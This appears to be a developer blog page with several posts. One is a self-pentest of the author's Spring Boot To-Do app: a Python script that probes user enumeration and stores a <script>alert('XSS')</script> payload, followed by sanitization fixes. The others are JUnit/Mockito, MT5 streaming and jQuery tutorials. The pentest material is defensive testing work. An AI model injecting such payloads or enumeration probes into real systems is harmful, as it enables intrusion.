Tuesday, August 26, 2025

Pentesting My To-Do List App: Automating Workflow Attacks

 As part of improving the security of my To-Do List application (built with Spring Boot, MySQL, and React), I performed a pentest to evaluate how the app handles malicious input and authentication workflows. The focus was on automating workflow attacks using Python and requests to simulate a real attacker’s interaction with the backend API.


Step 1: Mapping the Attack Surface

The API endpoints available for my app included:

  • POST /api/auth/signup – create an account

  • POST /api/auth/login – authenticate a user

  • POST /api/todos – create a new to-do item

  • GET /api/todos – fetch a user’s to-dos

  • DELETE /api/todos/{id} – delete a to-do item

  • POST /api/auth/checkuser – validate username availability

  • POST /api/auth/checkemail – validate email availability

From a security perspective, these workflows are interesting because they combine user management and data creation, two common targets for attackers.


Step 2: Automating the Workflow

Instead of manually issuing curl requests, I chained the attack steps with a Python script using the requests library.

The script performed the following sequence:

  1. Attempted to sign up a test account

  2. Checked whether a target username/email existed

  3. Logged in with valid credentials

  4. Created a malicious To-Do item (payload injection)

Example payload:

{ "title": "<script>alert('XSS')</script>" }

Here is the python script I used for this test:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
from requests.auth import HTTPBasicAuth

BASE_URL = "http://localhost:8080"

class TodoWorkflowAttack:
    def __init__(self, username, password, email):
        self.username = username
        self.password = password
        self.email = email
        self.session = requests.Session()

    def signup(self):
        """Register a new user"""
        url = f"{BASE_URL}/api/auth/signup"
        data = {"username": self.username, "password": self.password, "email": self.email}
        resp = self.session.post(url, json=data)

        if resp.status_code == 200:
            print(f"[+] Signup success for {self.username}")
        else:
            print(f"[-] Signup failed: {resp.status_code} {resp.text}")

    def check_user(self):
        """Check if username exists"""
        url = f"{BASE_URL}/api/auth/checkuser"
        data = {"username": self.username}
        resp = self.session.post(url, json=data)

        print(f"[*] Checking user: {self.username}{resp.text}")

    def check_email(self):
        """Check if email exists"""
        url = f"{BASE_URL}/api/auth/checkemail"
        data = {"email": self.email}
        resp = self.session.post(url, json=data)

        print(f"[*] Checking email: {self.email}{resp.text}")

    def login(self):
        """Login with BasicAuth (username:password)"""
        url = f"{BASE_URL}/api/auth/login"
        resp = self.session.post(url, auth=HTTPBasicAuth(self.username, self.password))

        if resp.status_code == 200:
            print(f"[+] Login success as {self.username}")
        else:
            print(f"[-] Login failed: {resp.status_code} {resp.text}")

    def create_malicious_todo(self):
        """Insert a malicious todo item"""
        url = f"{BASE_URL}/api/todos"
        headers = {"Content-Type": "application/json"}
        payload = {"title": "<script>alert('XSS')</script>"}

        resp = self.session.post(url, headers=headers,
                                 auth=HTTPBasicAuth(self.username, self.password),
                                 json=payload)

        if resp.status_code == 200:
            print("[+] Malicious todo created!")
            print(resp.json())
        else:
            print(f"[-] Failed to create todo: {resp.status_code} {resp.text}")

    def run(self):
        self.signup()
        self.check_user()
        self.check_email()
        self.login()
        self.create_malicious_todo()


if __name__ == "__main__":
    attacker = TodoWorkflowAttack("user1", "xblaster", "blaslomibao@yahoo.com")
    attacker.run()

Here is the result:

1
2
3
4
5
6
[-] Signup failed: 409 {"error":"Username taken"}
[*] Checking user: user1 → {"message":"Username is valid"}
[*] Checking email: blaslomibao@yahoo.com → {"error":"Email not found"}
[+] Login success as user1
[+] Malicious todo created!
{'id': 13, 'title': "<script>alert('XSS')</script>", 'completed': False, 'username': 'user1'}

Step 3: Observations

  • Signup failed when the username was already taken (409 Conflict), which is expected.

  • Check user/email endpoints revealed whether usernames or emails existed. This could be abused for user enumeration.

  • Login succeeded with valid credentials.

  • Malicious To-Do was successfully stored in the backend database, though React’s default escaping prevented execution on the frontend.


Step 4: Risks Identified

  1. Stored Malicious Data – even if it doesn’t execute now, it may execute later in a different context (e.g., admin dashboards, exports).

  2. User Enumeration – the checkuser and checkemail endpoints leak whether a user/email exists.

  3. Weak Input Validation – the backend accepts arbitrary input for title without sanitization.


Step 5: Mitigation Recommendations

  • Input Sanitization: sanitize or strip dangerous HTML/JS before saving data to the database (e.g., with OWASP Java HTML Sanitizer).

  • Output Encoding: continue escaping output on the frontend (React already does this safely unless dangerouslySetInnerHTML is used).

  • Generic Error Messages: adjust checkuser/checkemail responses to return generic messages, reducing user enumeration risk.

  • Security Testing Integration: integrate automated scripts like this into CI/CD to catch regressions.

Here is the code implementation to mitigate the issue:

1. Validate / Sanitize Input (Backend)

Before saving user input (title), strip out dangerous HTML/JavaScript.
A popular way in Java is to use OWASP Java HTML Sanitizer:

Maven dependency:

1
2
3
4
5
<dependency>
  <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
  <artifactId>owasp-java-html-sanitizer</artifactId>
  <version>20220608.1</version>
</dependency>

TodoService Revision:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;

@Service
public class TodoService {

    private final PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.LINKS);

    public TodoResponse createTodo(TodoRequest request, User user) {
        Todo todo = new Todo();
        // Sanitize title before saving
        String cleanTitle = sanitizer.sanitize(request.getTitle());
        todo.setTitle(cleanTitle);
        todo.setCompleted(false);
        todo.setUser(user);
        Todo saved = todoRepository.save(todo);
        return new TodoResponse(saved.getId(), saved.getTitle(), saved.isCompleted(), saved.getUser().getUsername());
    }
}

Conclusion

Automating workflow attacks with Python makes pentesting repeatable and scalable. Even a simple To-Do app can reveal common vulnerabilities like stored XSS and user enumeration.

By combining automation with secure coding practices, I can harden my app against potential attackers while ensuring the workflows remain user-friendly.

Tuesday, August 12, 2025

Mastering Unit Testing in Spring Boot – Part 2: Setting Up JUnit 5 & Mockito

 Last time, we learned why testing matters and met our new best friends: JUnit 5 & Mockito. Now it’s time to invite them into our Spring Boot project and get everything ready for action.




⚙️ Step 1: Start with a Spring Boot Project

If you don’t already have a project, head over to Spring Initializr and create one:

  • Project: Maven (or Gradle if that’s your jam)

  • Language: Java

  • Spring Boot: Latest stable version

  • Dependencies: Spring Web, Spring Boot DevTools

Download and unzip your project, then open it in your favorite IDE (IntelliJ, VS Code, Eclipse — I won’t judge… much).


๐Ÿ“ฆ Step 2: Add JUnit 5 & Mockito Dependencies

If you created a Spring Boot 2.2+ project, JUnit 5 is already the default test engine.
But let’s make sure everything is explicit.

Maven (pom.xml):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<dependencies>
    <!-- Spring Boot Test Starter (includes JUnit 5 by default) -->
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-test</artifactId>
        <scope>test</scope>
        <exclusions>
            <!-- Exclude JUnit 4 -->
            <exclusion>
                <groupId>junit</groupId>
                <artifactId>junit</artifactId>
            </exclusion>
        </exclusions>
    </dependency>

    <!-- Mockito Core -->
    <dependency>
        <groupId>org.mockito</groupId>
        <artifactId>mockito-core</artifactId>
        <version>5.11.0</version>
        <scope>test</scope>
    </dependency>
</dependencies>

(Gradle folks: you’ll need testImplementation 'org.mockito:mockito-core:5.11.0' in build.gradle.)


๐Ÿ›  Step 3: Understanding the Structure

When you create a Spring Boot project, your folders will look like this:

1
2
3
4
5
6
src
 ├── main
     └── java         # Your main code
 
 └── test
      └── java         # Your test code

Tests for src/main/java/com.example.demo/service/MyService.java
should live in src/test/java/com.example.demo/service/MyServiceTest.java.


๐Ÿงช Step 4: Your First JUnit 5 Test

Let’s make sure our setup is working. Create a file:
src/test/java/com/example/demo/HelloWorldTest.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
package com.example.demo;

import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;

class HelloWorldTest {

    @Test
    void shouldReturnHelloWorld() {
        String greeting = "Hello World";
        assertEquals("Hello World", greeting);
    }
}

Run this test. If it passes ✅ — congrats! You’ve just run your first JUnit 5 test in Spring Boot.


๐ŸŽญ Step 5: Adding Mockito

Let’s pretend we have a service that depends on a repository.

src/main/java/com/example/demo/service/GreetingService.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package com.example.demo.service;

import org.springframework.stereotype.Service;

@Service
public class GreetingService {
    private final GreetingRepository repository;

    public GreetingService(GreetingRepository repository) {
        this.repository = repository;
    }

    public String getGreeting() {
        return repository.fetchGreeting();
    }
}

src/main/java/com/example/demo/service/GreetingRepository.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
package com.example.demo.service;

import org.springframework.stereotype.Repository;

@Repository
public class GreetingRepository {
    public String fetchGreeting() {
        return "Hello from the database!";
    }
}

Now, let’s test the service without touching the real repository.

src/test/java/com/example/demo/service/GreetingServiceTest.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.example.demo.service;

import org.junit.jupiter.api.Test;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;

import static org.mockito.Mockito.when;
import static org.junit.jupiter.api.Assertions.assertEquals;

import org.junit.jupiter.api.extension.ExtendWith;

@ExtendWith(MockitoExtension.class)
class GreetingServiceTest {

    @Mock
    GreetingRepository repository;

    @InjectMocks
    GreetingService service;

    @Test
    void shouldReturnMockedGreeting() {
        when(repository.fetchGreeting()).thenReturn("Hello from Mockito!");

        String result = service.getGreeting();

        assertEquals("Hello from Mockito!", result);
    }
}

Run the test → green bar → happy developer.


๐ŸŽจ The “Coffee Analogy” Continues

In Part 1, JUnit was our taste tester and Mockito our fake milk supplier.
Now, we’ve actually given them a kitchen to work in (Spring Boot) and stocked it with ingredients (dependencies).
We can start making mock cappuccinos at full speed.



✅ Next in Part 3

We’ll write real unit tests for a Spring Boot REST controller and see how to mock external APIs.

Remember:

Tests don’t slow you down — bugs do.

Streaming Live MT5 Quotes in Java Swing with MTsocketAPI

 If you’ve ever wanted to visualize MetaTrader 5 live data outside the MT5 terminal, you’re in luck. With MTsocketAPI and a bit of Java Swing, you can build a real-time quote viewer that streams and displays OHLC (Open, High, Low, Close) data in a sleek, interactive UI.

In this post, we’ll walk through how the Java Swing app works and how it connects to MT5.


The Goal

We want to:

  • Select a trading symbol (Forex, Stocks, Crypto, etc.).

  • Automatically subscribe to its OHLC updates via MTsocketAPI.

  • Display the data in a user-friendly table.

  • Save the streamed data to CSV for analysis.


Architecture Overview

The app follows a simple two-socket model:

  1. Command Socket (Port 77) – Sends commands to MTsocketAPI (e.g., subscribe to a symbol).

  2. Data Socket (Port 78) – Streams incoming OHLC updates in JSON format.

When a user changes the symbol in the dropdown, the app sends a TRACK_OHLC subscription command for that symbol and starts receiving fresh price bars in real-time.


UI Design with Java Swing

The interface is built with JTable for displaying OHLC data and JComboBox for symbol selection. Each symbol displays:

  • DESCRIPTION – Human-friendly name (e.g., Euro vs. United States Dollar).

  • PATH – The MT5 market watch hierarchy path (e.g., Forex\FX-Majors\EURUSD).

Example from the UI:

DESCRIPTION: Euro vs. United States Dollar | PATH: Forex\FX-Majors\EURUSD



Live Data Handling

Once connected:

  • The app reads JSON strings line-by-line from the data socket.

  • It parses TIME, OPEN, CLOSE, HIGH, and LOW values.

  • Swing’s invokeLater is used to safely update the table on the Event Dispatch Thread (EDT).


Saving Data

With a single click, you can export the recorded quotes to a CSV file:

Time,Open,Close,High,Low

2025-08-12 14:00,1.09543,1.09621,1.09712,1.09487

Why This Matters

  • Custom Dashboards – You’re no longer tied to MT5’s UI.

  • Data Export – Store and analyze market history your way.

  • Multi-Symbol Monitoring – Expand the logic to track multiple symbols at once.


Next Steps

This high-level example only scratches the surface. You could:

  • Add charting using JFreeChart or JavaFX Canvas.

  • Handle multiple timeframes simultaneously.

  • Build trading alerts on top of the incoming stream.

With MTsocketAPI + Java Swing, you have the freedom to extend MT5 data into any custom Java-based trading tool you can imagine.

Thursday, August 7, 2025

Beginner’s Guide to jQuery: Making Your Website Interactive

 If you’ve been learning HTML and CSS for a while, you’ve probably realized that they can make a website look great, but they can’t make it do much. That’s where JavaScript comes in. And if you want to make JavaScript easier to use—especially when dealing with HTML elements—jQuery is a fantastic tool.


In this post, we’ll go through the basics of jQuery, how to set it up, and write your first interactive code.


What is jQuery?

jQuery is a lightweight JavaScript library that makes it easier to:

  • Select and manipulate HTML elements

  • Handle events (clicks, hovers, etc.)

  • Create animations and effects

  • Work with AJAX requests

Its motto is:
“Write less, do more.”


Step 1: Setting Up jQuery

You can add jQuery to your project in two main ways:

Option 1: Use a CDN (Recommended)

Add this line before your closing </body> tag:

<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>

Option 2: Download and Host It Yourself

<script src="js/jquery.min.js"></script>

Step 2: Your First jQuery Script

Here’s a simple example that changes the text of a paragraph when a button is clicked.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<!DOCTYPE html>
<html>
<head>
    <title>jQuery Example</title>
    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
</head>
<body>

<p id="demo-text">Hello, world!</p>
<button id="change-btn">Click Me</button>

<script>
$(document).ready(function() {
    $("#change-btn").click(function() {
        $("#demo-text").text("You clicked the button!");
    });
});
</script>

</body>
</html>

 How it works:

  1. $(document).ready() makes sure the code runs after the page loads.

  2. $("#change-btn") selects the button with ID change-btn.

  3. .click(function(){ ... }) sets what happens when the button is clicked.

  4. .text("...") changes the text of the paragraph.


Step 3: Common jQuery Selectors

Selectors are the core of jQuery—they let you grab elements and apply actions to them.

SelectorExampleWhat it does
#id$("#myDiv")Selects the element with the given ID
.class$(".myClass")Selects all elements with that class
element$("p")Selects all <p> elements
*$("*")Selects all elements
parent child$("div p")Selects <p> elements inside <div>

Step 4: jQuery Events

Here are a few common events you can use:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$("button").click(function() {
    alert("Button clicked!");
});

$("p").dblclick(function() {
    $(this).hide();
});

$("#myInput").keyup(function() {
    console.log($(this).val());
});

Step 5: Adding Simple Effects

Want to make things more fun? jQuery has built-in effects:

1
2
3
4
5
6
7
$("#fade-btn").click(function() {
    $("#box").fadeOut();
});

$("#slide-btn").click(function() {
    $("#panel").slideToggle();
});

Step 6: Chaining Methods

One of the coolest jQuery features is method chaining:

$("#box").css("color", "red").slideUp(500).slideDown(500);

This changes the text color, slides the element up, then slides it back down—all in one line.


Why Use jQuery in 2025?

Even though modern JavaScript (ES6+) has caught up with many jQuery features, it’s still:

  • Easy to learn for beginners

  • Widely used in legacy projects

  • Handy for quick prototypes


Final Tips

  • Always place your jQuery scripts after the HTML elements they affect, or wrap them in $(document).ready().

  • Practice by making small interactive elements before diving into complex projects.

  • Once you’re comfortable, explore AJAX, animations, and plugins.


Now you know the basics of jQuery—from setup to selectors, events, and effects. Start experimenting, and you’ll quickly make your static pages come alive.

jQuery Cheat Sheet (Quick Reference)

ActionjQuery CodeDescription
Document Ready$(document).ready(fn)Runs code after the DOM is loaded
Select by ID$("#id")Selects element by ID
Select by Class$(".class")Selects elements by class
Select by Tag$("p")Selects all <p> elements
Click Event$("selector").click(fn)Runs code when clicked
Double Click$("selector").dblclick(fn)Runs code when double-clicked
Change Text$("selector").text("New")Changes element text
Change HTML$("selector").html("<b>Hi</b>")Changes inner HTML
Change CSS$("selector").css("color", "red")Changes style
Hide Element$("selector").hide()Hides element
Show Element$("selector").show()Shows element
Toggle Visibility$("selector").toggle()Shows if hidden, hides if shown
Fade In$("selector").fadeIn()Fades element in
Fade Out$("selector").fadeOut()Fades element out
Slide Down$("selector").slideDown()Slides element down
Slide Up$("selector").slideUp()Slides element up
Get Value$("selector").val()Gets form field value
Set Value$("selector").val("Hello")Sets form field value

✅ With this cheat sheet, you can quickly try out common jQuery actions without memorizing every syntax. Practice small examples, then combine them for more advanced interactivity.


Mastering Unit Testing in Spring Boot – Part 1: Why Test, and Meet JUnit 5 & Mockito

 By the end of this series, you’ll not only write tests — you’ll write them so good, future you will high-five past you.


๐Ÿš€ Why Should You Care About Unit Testing?

Let’s start with a confession:
I once worked on a Spring Boot project where no tests existed. Everything seemed fine… until it wasn’t. A small “harmless” change broke the login feature. The fix took hours, and the team lost trust in every new commit.



Unit tests are your safety net — they let you change code with confidence. Think of them as:

  • ๐Ÿ›ก Shields protecting your app from bugs.

  • ๐Ÿ“œ Documentation that never lies (unlike that dusty wiki).

  • ๐Ÿ•ต Detectives catching bad behavior before it reaches production.


๐Ÿงช What is Unit Testing Anyway?

In simple terms:

Unit testing checks the smallest parts of your code (units) in isolation to ensure they behave as expected.

With Spring Boot, that “unit” could be:

  • A service method

  • A controller endpoint

  • A utility class


๐ŸŽญ Enter JUnit 5

๐Ÿ“œ The Backstory

JUnit was born in 1997, created by Kent Beck (yes, the father of Extreme Programming) and Erich Gamma (one of the “Gang of Four” design pattern legends).
Their goal? Give Java developers a simple framework to write repeatable automated tests.

๐Ÿ’ก What’s New in JUnit 5?

JUnit has evolved over decades — now at version 5, it’s modular, powerful, and annotation-rich:

  • JUnit Platform – Runs the tests.

  • JUnit Jupiter – New programming model & annotations.

  • JUnit Vintage – Runs old JUnit 3 & 4 tests.

Common annotations you’ll meet:

1
2
3
4
5
@Test           // Marks a test method
@BeforeEach     // Runs before each test
@AfterEach      // Runs after each test
@BeforeAll      // Runs before all tests
@AfterAll       // Runs after all tests

๐Ÿ•ต Meet Mockito

๐Ÿ“œ The Origin Story

Mockito appeared in 2008, created by Szczepan Faber (then at ThoughtWorks).
Why? Developers were struggling with brittle test doubles (fakes, stubs, mocks). Mockito’s mission was to make mocking:

  • Readable

  • Type-safe

  • Fluent

๐Ÿ’ก Key Features

  • Create mocks easily:

1
MyService mockService = mock(MyService.class);

  • Stub behavior:

1
when(mockService.getData()).thenReturn("Hello World");

  • Verify interactions:

1
verify(mockService).getData();


  • Zero boilerplate for dependency injection in Spring Boot with @Mock and @InjectMocks.


๐ŸŽจ An Illustrated Analogy

Imagine you’re testing a coffee machine:

  • JUnit 5 is the taste tester — takes a sip and says “Yep, this tastes like cappuccino.”

  • Mockito is the fake milk supplier — you don’t want to rely on real milk deliveries during testing, so you mock it.

(Insert cute illustration of a coffee machine, a happy tester, and a milk carton labeled “mock”)


๐ŸŒฑ What’s Next?

This is just the warm-up. In Part 2, we’ll:

  • Set up JUnit 5 & Mockito in a Spring Boot project.

  • Write our first simple unit test.

  • Mock dependencies like a pro.

Until then, remember:

Untested code is like an unchecked parachute — you can jump… but you probably shouldn’t.


๐Ÿ“Œ Series Outline:

  1. Why Unit Testing? Meet JUnit 5 & Mockito (You’re here)

  2. Setting Up JUnit 5 & Mockito in Spring Boot

  3. Writing Your First Unit Test

  4. Advanced Mockito Tricks

  5. Best Practices for Test Readability & Maintenance

 

Pentesting My To-Do List App: Automating Workflow Attacks

 As part of improving the security of my To-Do List application (built with Spring Boot, MySQL, and React), I performed a pentest to evaluat...